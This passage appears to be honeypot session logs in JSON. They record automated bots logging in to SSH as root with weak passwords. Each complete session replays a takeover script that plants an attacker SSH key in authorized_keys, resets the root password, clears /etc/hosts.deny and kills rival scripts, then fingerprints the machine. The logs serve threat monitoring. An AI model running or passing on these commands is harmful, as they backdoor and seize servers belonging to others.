Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:37:58.225615+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:37:58.897870+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:37:59.226765+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:37:59.816441+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:38:00.143865+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:38:00.553117+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:38:00.883805+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:38:01.953808+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:38:02.282948+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:38:04.451249+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Sz123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"0ee2dc75-00d8-44cb-bb80-f67c2bde8732","name":"shaded-thawing-panther","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52936,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":304,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:35:12.681924+00:00","ended_at":"2026-08-27T11:35:14.122034+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-27T11:34:52.033895+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:34:52.336201+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:34:57.486577+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:34:57.926058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:34:58.229380+00:00","kind":"input","latency_ms":null,"data":"echo \"root:uUOdmXdEOu0Q\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:34:58.532244+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:34:58.836668+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:34:59.683134+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:34:59.988127+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:35:01.366119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:35:01.668997+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:35:03.008881+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:35:03.314941+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:35:03.943455+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:35:04.248000+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:35:05.028352+00:00","kind":"output","latency_ms":null,"data":" 11:35:05 up 7 days, 8:25, 0 user, load average: 0.28, 0.21, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:35:05.331216+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:35:05.789754+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:35:06.094763+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:35:06.357925+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:35:06.662100+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:35:07.478587+00:00","kind":"output","latency_ms":null,"data":"top - 11:35:07 up 7 days, 8:25, 0 user, load average: 0.28, 0.21, 0.31\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:35:07.783100+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:35:08.607445+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:35:08.910808+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:35:09.557227+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:35:09.858908+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:35:10.758340+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:35:11.060261+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:35:12.379094+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:35:12.682664+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:35:14.032108+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Cc","method":"password","accepted":true,"tier":"other"}]} {"id":"f4008271-0046-4efb-9787-d756955e2972","name":"boreal-twilight-wagtail","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":38424,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":758,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:58.399131+00:00","ended_at":"2026-08-27T11:33:59.737573+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:33:30.668371+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:33:31.437792+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:38.710848+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:39.176034+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:39.933856+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9lJUCmB6nB0J\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:33:40.694082+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:33:41.451092+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:41.708910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:33:42.466351+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:33:43.663546+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:33:44.421812+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:33:45.438093+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:33:46.197628+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:33:46.596140+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:33:47.358590+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:33:47.948276+00:00","kind":"output","latency_ms":null,"data":" 11:33:47 up 7 days, 8:23, 0 user, load average: 0.34, 0.32, 0.37\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:33:48.708934+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:33:49.275026+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:33:50.033809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:33:50.608454+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:33:51.367296+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:33:51.680023+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:51 up 7 days, 8:23, 0 user, load average: 0.34, 0.32, 0.37\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:33:52.437186+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:33:52.977530+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:33:53.736949+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:33:54.180311+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:33:54.934598+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:33:55.724540+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:33:56.480771+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:33:57.643389+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:33:58.400282+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:33:59.497055+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456789m","method":"password","accepted":true,"tier":"other"}]} {"id":"6227696f-f72d-4455-b05d-6bf07c9df165","name":"gloomy-lanky-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":49668,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:34.784949+00:00","ended_at":"2026-08-27T11:33:36.983931+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2280,"events":[{"seq":1,"at":"2026-08-27T11:33:07.667906+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:33:07.933196+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:11.239269+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:13.226460+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:13.490550+00:00","kind":"input","latency_ms":null,"data":"echo \"root:csWIgjkNIcri\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:33:13.753270+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:33:14.017883+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:14.761262+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:33:15.453655+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:33:15.718873+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:33:16.955792+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:33:17.214261+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:33:18.484084+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:33:18.752226+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:33:19.635656+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:33:19.900890+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:33:21.115773+00:00","kind":"output","latency_ms":null,"data":" 11:33:21 up 7 days, 8:23, 0 user, load average: 0.31, 0.3, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:33:21.379758+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:33:23.548444+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:33:23.812866+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:33:25.685732+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:33:25.950488+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:33:27.592115+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:27 up 7 days, 8:23, 0 user, load average: 0.31, 0.3, 0.29\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:33:27.856522+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:33:29.403490+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:33:29.669725+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:33:31.691116+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:33:31.948527+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:33:33.385591+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:33:33.647286+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:33:34.520519+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:33:34.786462+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:33:36.908496+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"zaq12WSX","method":"password","accepted":true,"tier":"other"}]} {"id":"1000f9a7-5a10-4144-8b34-43e7dbc7b374","name":"emerald-regal-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57586,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:13.248082+00:00","ended_at":"2026-08-27T11:33:14.551311+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T11:32:57.340135+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:32:57.639004+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:02.605200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:02.605595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:02.900061+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UvYDsZT3a5VP\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:33:03.194621+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:33:03.490920+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:03.491754+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:33:03.788178+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:33:04.290152+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:33:04.587571+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:33:05.181117+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:33:05.480917+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:33:05.481450+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:33:05.779782+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:33:05.780323+00:00","kind":"output","latency_ms":null,"data":" 11:33:05 up 7 days, 8:23, 0 user, load average: 0.19, 0.19, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:33:06.075250+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:33:06.620724+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:33:06.914801+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:33:07.658658+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:33:07.954997+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:33:08.782006+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:08 up 7 days, 8:23, 0 user, load average: 0.19, 0.19, 0.16\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:33:09.077151+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:33:09.492215+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:33:09.787537+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:33:10.542828+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:33:10.839741+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:33:11.288238+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:33:11.583993+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:33:12.953361+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:33:13.248863+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:33:14.464209+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"welcome@2024","method":"password","accepted":true,"tier":"other"}]} {"id":"08c1f23a-db2c-4621-aca2-db71ff9f4baa","name":"fleeting-foggy-curlew","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59086,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":463,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:49.000113+00:00","ended_at":"2026-08-27T11:31:50.368150+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:31:28.474151+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:31:28.935418+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 